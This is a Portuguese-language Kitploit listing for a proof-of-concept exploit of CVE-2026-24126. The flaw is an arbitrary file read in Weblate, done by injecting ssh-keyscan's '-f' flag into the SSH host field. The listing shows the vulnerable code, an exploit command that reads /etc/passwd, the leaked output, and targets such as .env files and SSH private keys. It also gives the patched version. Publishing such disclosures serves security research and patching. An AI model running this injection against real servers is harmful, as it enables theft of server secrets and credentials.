Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Weblate-CVE-2026-24126 — Prova de conceito de exploit para CVE-2026-24126, uma leitura arbitrária de arquivos no Weblate por meio de injeção de argumento de host SSH, permitindo que administradores autenticados leiam arquivos do servidor. | Kitploit
Ferramentas/GitHubGitHub/alexb616/weblate-cve-2026-24126
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHubalexb616/weblate-cve-2026-24126

Weblate-CVE-2026-24126

Prova de conceito de exploit para CVE-2026-24126, uma leitura arbitrária de arquivos no Weblate por meio de injeção de argumento de host SSH, permitindo que administradores autenticados leiam arquivos do servidor.

Ver Repositório
114há 12 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Weblate — Leitura Arbitrária de Arquivos via Injeção de Argumento no Host SSH

CVE CVSS Target Type Python

Descoberto por: Alejandro Baño · Janeiro de 2026 Reconhecido por: Notas de versão do Weblate 5.16


Visão Geral

O endpoint de gerenciamento de chaves de host SSH do Weblate passa o parâmetro host fornecido por um administrador autenticado diretamente para o ssh-keyscan sem qualquer sanitização ou validação de argumentos. Como o ssh-keyscan aceita a flag -f <arquivo> para ler nomes de host de destino a partir de um arquivo, um atacante com credenciais de administrador pode injetar essa flag como valor do host e forçar o servidor a abrir um arquivo local arbitrário. A saída de erro resultante (ou stdout) é refletida literalmente de volta ao navegador dentro de um bloco de mensagem de erro, vazando o conteúdo do arquivo.


Detalhes da Vulnerabilidade

CampoValor
AlvoWeblate (instâncias auto-hospedadas)
ComponenteGerenciamento de chaves SSH — weblate/ssh/views.py · add_host_key()
Autenticação necessáriaSim — conta de administrador do Weblate
Versões afetadasTodas as versões ≤ 5.15.2 (testado em 5.0.2 e 5.15.2)
ImpactoLeitura arbitrária de arquivos locais como o usuário do processo do servidor web (weblate, www-data etc.)
CVSS v3CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L
CVECVE-2026-24126

Causa Raiz

# weblate/ssh/views.py  — simplified
def add_host_key(request, host, port=""):
    cmdline = ["ssh-keyscan"]
    if port:
        cmdline.extend(["-p", str(port)])
    cmdline.append(host)          # ← host is appended with no validation
    result = subprocess.run(cmdline, ...)

O valor de host vem diretamente do campo host do corpo da requisição POST, sem allowlist, sem remoção de hífens iniciais e sem terminador de argumento -- antes do valor fornecido pelo usuário. Isso permite que um atacante injete qualquer flag do ssh-keyscan.

ssh-keyscan -f /etc/passwd lê /etc/passwd como uma lista de nomes de host, falha ao resolver cada linha e produz saída de erro para cada uma delas. Essa saída de erro propaga-se através do manipulador de CalledProcessError e é exibida dentro de um bloco alert-danger na resposta HTTP.


Prova de Conceito

python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd

Opções

FlagDescrição
-r / --rhostURL base da instância do Weblate
-u / --usernameNome de usuário do administrador
-p / --passwordSenha do administrador
-f / --fileCaminho do arquivo a ser lido no servidor

Exemplo de saída

python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd

[+] Login successful for user: admin
[*] Sending payload to http://localhost/manage/ssh/, this could take some time, please be patient...

[+] Extracted file content:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Exploit finished

Impacto

Qualquer arquivo legível pelo usuário do sistema operacional que executa o Weblate (tipicamente o usuário weblate) pode ser exfiltrado através de uma única requisição POST autenticada. Alvos sensíveis incluem:

  • Segredos da aplicação: settings.py, .env, local_settings.py
  • Chaves SSH privadas: /var/lib/weblate/.ssh/id_rsa
  • Credenciais de banco de dados expostas em arquivos de configuração

Correção

Atualize para o Weblate 5.16.0 ou posterior. Esta é a correção oficial lançada pela equipe do Weblate em 18 de fevereiro de 2026, que introduziu validação adequada de entrada no campo de host SSH.

Aviso Legal

Este repositório destina-se apenas a pesquisa de segurança educacional e autorizada. Não use esta ferramenta contra sistemas que você não possui ou para os quais não tem permissão escrita explícita para testar. O autor não assume qualquer responsabilidade pelo uso indevido.

Baixar ferramenta